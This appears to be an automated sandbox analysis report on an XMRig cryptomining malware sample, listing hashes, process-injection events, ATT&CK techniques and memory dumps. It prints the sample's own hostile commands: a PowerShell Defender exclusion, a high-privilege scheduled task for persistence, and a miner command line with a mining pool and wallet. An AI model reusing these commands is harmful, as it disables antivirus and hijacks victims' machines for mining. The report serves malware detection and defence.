xmrig | 6ef9c0a33ef168ea07c55966deba59b977e7bf9fcefcda5944c66ea3f46453a7

Analysis

max time kernel
120s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2022 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

1.4MB
MD5

fd9a773f17376e3485292aa261e379ac
SHA1

c0e2bb23e43e2cff1ca052477b7e3f89458b9d50
SHA256

6ef9c0a33ef168ea07c55966deba59b977e7bf9fcefcda5944c66ea3f46453a7
SHA512

148da5fcd9c9d194466c3d1489cc71987d57905d6d1635a435e2ddcbf1cf851bdd02c0684a06cec46d44308044bf304ba0f6c789fd82d4cb9c4fff0b1ee91630
SSDEEP

24576:GiCj1Tnwpevq7BZlrkY/wP91wSRXZZAvnn3huG:GR1Twpevq7HJkY4nwSRXIPn7

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/4512-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4512-189-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4512-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4512-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4512-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4512-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OWT.exe

pid process

3384 OWT.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

OWT.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation OWT.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

OWT.exe

description pid process target process

PID 3384 set thread context of 4512 3384 OWT.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1752 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3780 timeout.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeOWT.exe

pid process

4260 powershell.exe
4260 powershell.exe
3584 powershell.exe
3584 powershell.exe
3384 OWT.exe
3384 OWT.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

664

pid	process
3384	OWT.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	OWT.exe

description	pid	process	target process
PID 3384 set thread context of 4512	3384	OWT.exe	vbc.exe

pid	process
1752	schtasks.exe

pid	process
3780	timeout.exe

pid	process
4260	powershell.exe
4260	powershell.exe
3584	powershell.exe
3584	powershell.exe
3384	OWT.exe
3384	OWT.exe

pid	process
664

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	1816	file.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	3384	OWT.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeLockMemoryPrivilege	4512	vbc.exe
Token: SeLockMemoryPrivilege	4512	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

4512 vbc.exe

pid	process
4512	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

file.execmd.exeOWT.execmd.exe

description	pid	process	target process
PID 1816 wrote to memory of 4260	1816	file.exe	powershell.exe
PID 1816 wrote to memory of 4260	1816	file.exe	powershell.exe
PID 1816 wrote to memory of 4980	1816	file.exe	cmd.exe
PID 1816 wrote to memory of 4980	1816	file.exe	cmd.exe
PID 4980 wrote to memory of 3780	4980	cmd.exe	timeout.exe
PID 4980 wrote to memory of 3780	4980	cmd.exe	timeout.exe
PID 4980 wrote to memory of 3384	4980	cmd.exe	OWT.exe
PID 4980 wrote to memory of 3384	4980	cmd.exe	OWT.exe
PID 3384 wrote to memory of 3584	3384	OWT.exe	powershell.exe
PID 3384 wrote to memory of 3584	3384	OWT.exe	powershell.exe
PID 3384 wrote to memory of 4500	3384	OWT.exe	cmd.exe
PID 3384 wrote to memory of 4500	3384	OWT.exe	cmd.exe
PID 4500 wrote to memory of 1752	4500	cmd.exe	schtasks.exe
PID 4500 wrote to memory of 1752	4500	cmd.exe	schtasks.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe
PID 3384 wrote to memory of 4512	3384	OWT.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2C8E.tmp.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:4980

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:3780

C:\ProgramData\winrar\OWT.exe
"C:\ProgramData\winrar\OWT.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3584

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
5⤵
- Creates scheduled task(s)
PID:1752

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
fd9a773f17376e3485292aa261e379ac

SHA1
c0e2bb23e43e2cff1ca052477b7e3f89458b9d50

SHA256
6ef9c0a33ef168ea07c55966deba59b977e7bf9fcefcda5944c66ea3f46453a7

SHA512
148da5fcd9c9d194466c3d1489cc71987d57905d6d1635a435e2ddcbf1cf851bdd02c0684a06cec46d44308044bf304ba0f6c789fd82d4cb9c4fff0b1ee91630

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
fd9a773f17376e3485292aa261e379ac

SHA1
c0e2bb23e43e2cff1ca052477b7e3f89458b9d50

SHA256
6ef9c0a33ef168ea07c55966deba59b977e7bf9fcefcda5944c66ea3f46453a7

SHA512
148da5fcd9c9d194466c3d1489cc71987d57905d6d1635a435e2ddcbf1cf851bdd02c0684a06cec46d44308044bf304ba0f6c789fd82d4cb9c4fff0b1ee91630

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2C8E.tmp.bat

Filesize
138B

MD5
b05ff3d9a03c68e7d87411abfb22ab46

SHA1
0c33c24d74879cf2b9327d56105694cdfa213395

SHA256
3713192a44f762c4397d0ae144283bf5ae4366c4cd4fdc8552d3d6d5fdf5f7db

SHA512
c796f7ce43ba7ab09c6bc3cfdb78ac7b1282d14a2718ab0ae0d1d7a879dce306c0e50b78778bc181638bf4b42e85cfde5a77ede58e25cbfdfd2eedd77c649436

Download Submit
memory/1752-177-0x0000000000000000-mapping.dmp

Download
memory/1816-139-0x00000000030C0000-0x0000000003101000-memory.dmp

Filesize
260KB

Download
memory/1816-137-0x00007FFA77830000-0x00007FFA778ED000-memory.dmp

Filesize
756KB

Download
memory/1816-141-0x0000000000360000-0x0000000000528000-memory.dmp

Filesize
1.8MB

Download
memory/1816-142-0x00000000030C0000-0x0000000003101000-memory.dmp

Filesize
260KB

Download
memory/1816-143-0x00007FFA95360000-0x00007FFA9538B000-memory.dmp

Filesize
172KB

Download
memory/1816-144-0x0000000000360000-0x0000000000528000-memory.dmp

Filesize
1.8MB

Download
memory/1816-146-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/1816-145-0x00007FFA87C10000-0x00007FFA87D5E000-memory.dmp

Filesize
1.3MB

Download
memory/1816-138-0x00007FFA94360000-0x00007FFA94501000-memory.dmp

Filesize
1.6MB

Download
memory/1816-140-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/1816-149-0x0000000000360000-0x0000000000528000-memory.dmp

Filesize
1.8MB

Download
memory/1816-150-0x00000000030C0000-0x0000000003101000-memory.dmp

Filesize
260KB

Download
memory/1816-136-0x00007FFA91950000-0x00007FFA91962000-memory.dmp

Filesize
72KB

Download
memory/1816-135-0x00007FFA95A70000-0x00007FFA95B0E000-memory.dmp

Filesize
632KB

Download
memory/1816-153-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/1816-134-0x00007FFA792D0000-0x00007FFA7937A000-memory.dmp

Filesize
680KB

Download
memory/1816-132-0x0000000000360000-0x0000000000528000-memory.dmp

Filesize
1.8MB

Download
memory/3384-183-0x00007FFA95F90000-0x00007FFA95FFB000-memory.dmp

Filesize
428KB

Download
memory/3384-182-0x00007FFA793A0000-0x00007FFA794A2000-memory.dmp

Filesize
1.0MB

Download
memory/3384-157-0x0000000000000000-mapping.dmp

Download
memory/3384-184-0x00007FFA92E00000-0x00007FFA92E3B000-memory.dmp

Filesize
236KB

Download
memory/3384-161-0x00007FFA87C40000-0x00007FFA87CEA000-memory.dmp

Filesize
680KB

Download
memory/3384-162-0x00007FFA95A70000-0x00007FFA95B0E000-memory.dmp

Filesize
632KB

Download
memory/3384-163-0x00007FFA91950000-0x00007FFA91962000-memory.dmp

Filesize
72KB

Download
memory/3384-164-0x00007FFA87B80000-0x00007FFA87C3D000-memory.dmp

Filesize
756KB

Download
memory/3384-165-0x00007FFA94360000-0x00007FFA94501000-memory.dmp

Filesize
1.6MB

Download
memory/3384-166-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-167-0x00007FFA95360000-0x00007FFA9538B000-memory.dmp

Filesize
172KB

Download
memory/3384-168-0x00000000007C0000-0x0000000000988000-memory.dmp

Filesize
1.8MB

Download
memory/3384-170-0x00007FFA79710000-0x00007FFA7985E000-memory.dmp

Filesize
1.3MB

Download
memory/3384-169-0x00000000007C0000-0x0000000000988000-memory.dmp

Filesize
1.8MB

Download
memory/3384-171-0x0000000001220000-0x0000000001261000-memory.dmp

Filesize
260KB

Download
memory/3384-172-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-181-0x00007FFA87F30000-0x00007FFA87F65000-memory.dmp

Filesize
212KB

Download
memory/3384-185-0x00000000007C0000-0x0000000000988000-memory.dmp

Filesize
1.8MB

Download
memory/3384-180-0x00007FFA93E40000-0x00007FFA93E67000-memory.dmp

Filesize
156KB

Download
memory/3384-186-0x0000000001220000-0x0000000001261000-memory.dmp

Filesize
260KB

Download
memory/3384-187-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-178-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-179-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-173-0x0000000000000000-mapping.dmp

Download
memory/3780-154-0x0000000000000000-mapping.dmp

Download
memory/4260-147-0x0000000000000000-mapping.dmp

Download
memory/4260-156-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/4260-152-0x0000016469010000-0x0000016469032000-memory.dmp

Filesize
136KB

Download
memory/4260-155-0x00007FFA778F0000-0x00007FFA783B1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-175-0x0000000000000000-mapping.dmp

Download
memory/4512-192-0x000001C81F190000-0x000001C81F1B0000-memory.dmp

Filesize
128KB

Download
memory/4512-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4512-189-0x0000000140343234-mapping.dmp

Download
memory/4512-190-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4512-191-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4512-193-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4512-194-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4512-195-0x000001C81F1D0000-0x000001C81F210000-memory.dmp

Filesize
256KB

Download
memory/4980-148-0x0000000000000000-mapping.dmp

Download